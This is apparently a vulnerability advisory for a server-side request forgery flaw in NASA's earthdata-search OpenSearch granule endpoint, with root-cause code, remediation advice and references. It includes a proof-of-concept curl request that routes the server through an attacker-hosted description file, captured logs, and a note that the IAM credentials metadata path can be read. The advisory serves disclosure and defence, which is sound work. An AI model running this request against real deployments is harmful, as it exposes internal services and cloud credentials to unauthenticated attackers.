| Descripción | **Project:** nasa/earthdata-search (NASA EOSDIS Earth science data discovery web application)
**Component:** `openSearchGranuleSearch` service (`serverless/src/openSearchGranuleSearch/handler.js`), route `POST /opensearch/granules`
**Affected versions:** 1.0.0 and all prior versions (master HEAD `bd935b23f`, 2026-07-06).
**Class:** CWE-918 (Server-Side Request Forgery)
**Severity:** High. CVSS v3.1 **7.5** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`.
**Status:** confirmed live via DAST with full internal-content reflection, 2026-07-06.
## Summary
`POST /opensearch/granules` takes a caller-supplied `openSearchOsdd` URL, fetches it server-side (hop 1), pulls a `template` URL out of the returned OpenSearch Description Document, fetches that too (hop 2), and returns the raw second-hop body to the caller. Both hops are attacker-controlled, the route has no real authenticator, and neither fetch validates scheme, host, or IP. On its own this looks like a blind SSRF the server just proxies a search. It is not blind: because the raw body is reflected verbatim, an unauthenticated attacker reads the content of internal resources back through the endpoint. That makes it strictly stronger than the image-only `GET /scale` SSRF, which can only map reachability.
## Root cause
The handler reads `openSearchOsdd` from the request body, fetches the attacker OSDD, renders the extracted template, fetches that, and returns its body unchanged:
```js
// serverless/src/openSearchGranuleSearch/handler.js
const { params } = JSON.parse(body)
const { echoCollectionId, openSearchOsdd } = params
const openSearchUrlResponse = await getOpenSearchGranulesUrl(echoCollectionId, openSearchOsdd) // hop 1
const { template } = openSearchUrlResponse.body
const renderedTemplate = renderOpenSearchTemplate(template, obj)
const granuleResponse = await wrappedAxios({ method: 'get', url: renderedTemplate, /* ... */ }) // hop 2
const { data } = granuleResponse
return { isBase64Encoded: false, statusCode: granuleResponse.status, headers, body: data } // handler.js:99, reflected
```
Hop 1 fetches the attacker-controlled OSDD URL directly, with no validation:
```js
// serverless/src/openSearchGranuleSearch/getOpenSearchGranulesUrl.js:26
const osddResponse = await wrappedAxios.get(openSearchOsddUrl, { headers: { 'Client-Id': getClientId().lambda } })
const osddBody = xmlParser.parse(osddResponse.data)
// extracts <Url type="application/atom+xml" template="..."> as the hop-2 URL
```
`renderOpenSearchTemplate` (`serverless/src/openSearchGranuleSearch/renderOpenSearchTemplate.js`) only substitutes OpenSearch parameters (`{count}`, `{geo:box}`, `{time:start}`, etc). It does not check scheme or host, so the attacker's `template` is fetched as-is. `wrapAxios` (`serverless/src/util/wrapAxios.js`) only adds timing interceptors, no SSRF protection, and `axios` follows redirects by default. The route is public: in `cdk/earthdata-search/lib/earthdata-search-functions.ts` the `OpenSearchGranuleSearchLambda` method (`path: 'granules'`, `POST`) is wired with `authorizer: authorizers.edlOptionalAuthorizer`, an optional authorizer that lets anonymous requests through to the handler.
The attacker controls the final URL end to end (via the `template` in their own OSDD) and receives the response body back.
## Proof of Concept - unauthenticated SSRF with response reflection
Host an OSDD on a listener you control whose `application/atom+xml` template points at a second collaborator, then send one unauthenticated request (no `Authorization` header):
```bash
# osdd.xml served at http://ATTACKER-HOST/osdd.xml :
# <OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
# <Url type="application/atom+xml" template="http://COLLABORATOR/-/osdd-template-hop"/>
# </OpenSearchDescription>
curl -s -X POST "http://TARGET/opensearch/granules" -H 'Content-Type: application/json' \
-d '{"params":{"echoCollectionId":"C1-PROV","openSearchOsdd":"http://ATTACKER-HOST/osdd.xml"}}'
```
The server makes two attacker-controlled outbound requests, then returns the second one's body:
- **hop 1** (OSDD fetch), logged on the attacker host: `GET /osdd.xml` from the server's egress IP.
- **hop 2** (template fetch), on the second collaborator, note the `axios` User-Agent and the Earthdata `Client-Id`:
```
GET /-/osdd-template-hop HTTP/1.1
Host: <collaborator>
User-Agent: axios/1.18.0
Client-Id: eed-default-dev-serverless-lambda
```
- the HTTP response returned to the caller is the body the collaborator served on hop 2, verbatim:
```
<h1>Hello World</h1>
```
The endpoint does not just reach a URL, it returns the fetched content. The response body is fully attacker-influenced: whatever the second-hop URL returns comes back to the unauthenticated caller. That is what makes it a read primitive, not a blind SSRF. Text, HTML, and XML bodies reflect verbatim; a JSON body is parsed by the default `axios` transform and then rejected by the API Gateway proxy with a 502, so JSON-only endpoints stay blind.
![[Pasted image 20260706201840.png]]
## Impact
An unauthenticated, remote attacker can:
- Read the content of internal, otherwise-unreachable services (internal APIs, status/config pages, admin dashboards, internal ALBs) that return text, HTML, or XML, using the server as an SSRF proxy.
- Exfiltrate the raw response body, not just confirm reachability, which makes this higher-impact than the image-only `GET /scale` SSRF in the same application.
- Follow redirects to pivot from an allowed-looking host to an internal target.
On an operator who self-hosts the open source on EC2 or ECS-on-EC2, the instance metadata service at `http://x.x.x.x/` is reachable through this sink and its plain-text paths (for example the IAM role name at `/latest/meta-data/iam/security-credentials/`) are returned verbatim. The shipped AWS Lambda architecture has no metadata service, so on the default deployment the impact is unauthenticated read of internal text/HTML/XML services.
## Remediation
- Validate `openSearchOsdd` and the rendered `template` before fetching: require `https`, and match the host against an allowlist of expected CMR/OpenSearch provider domains. Block private, loopback, and link-local ranges (`127.0.0.0/8`, `x.x.x.x/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`), and re-validate after any redirect (or disable redirect following).
- Do not return upstream response bodies verbatim from a caller-controlled URL. Parse and re-serialize only the expected OpenSearch fields.
- Add the standard authorizer to the route if anonymous OpenSearch granule search is not required.
## References
- `serverless/src/openSearchGranuleSearch/handler.js:99` (`openSearchOsdd` from body, returns `body: data`)
- `serverless/src/openSearchGranuleSearch/getOpenSearchGranulesUrl.js:26` (hop 1, `axios.get(openSearchOsddUrl)`, no validation)
- `serverless/src/openSearchGranuleSearch/renderOpenSearchTemplate.js` (param substitution only, no host/scheme validation)
- `serverless/src/util/wrapAxios.js` (timing interceptors only, no SSRF protection, follows redirects)
- `cdk/earthdata-search/lib/earthdata-search-functions.ts` (`OpenSearchGranuleSearchLambda`, `edlOptionalAuthorizer`)
- [CWE-918](https://cwe.mitre.org/data/definitions/918.html)
- [OWASP API7:2023 Server-Side Request Forgery](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/)
|
|---|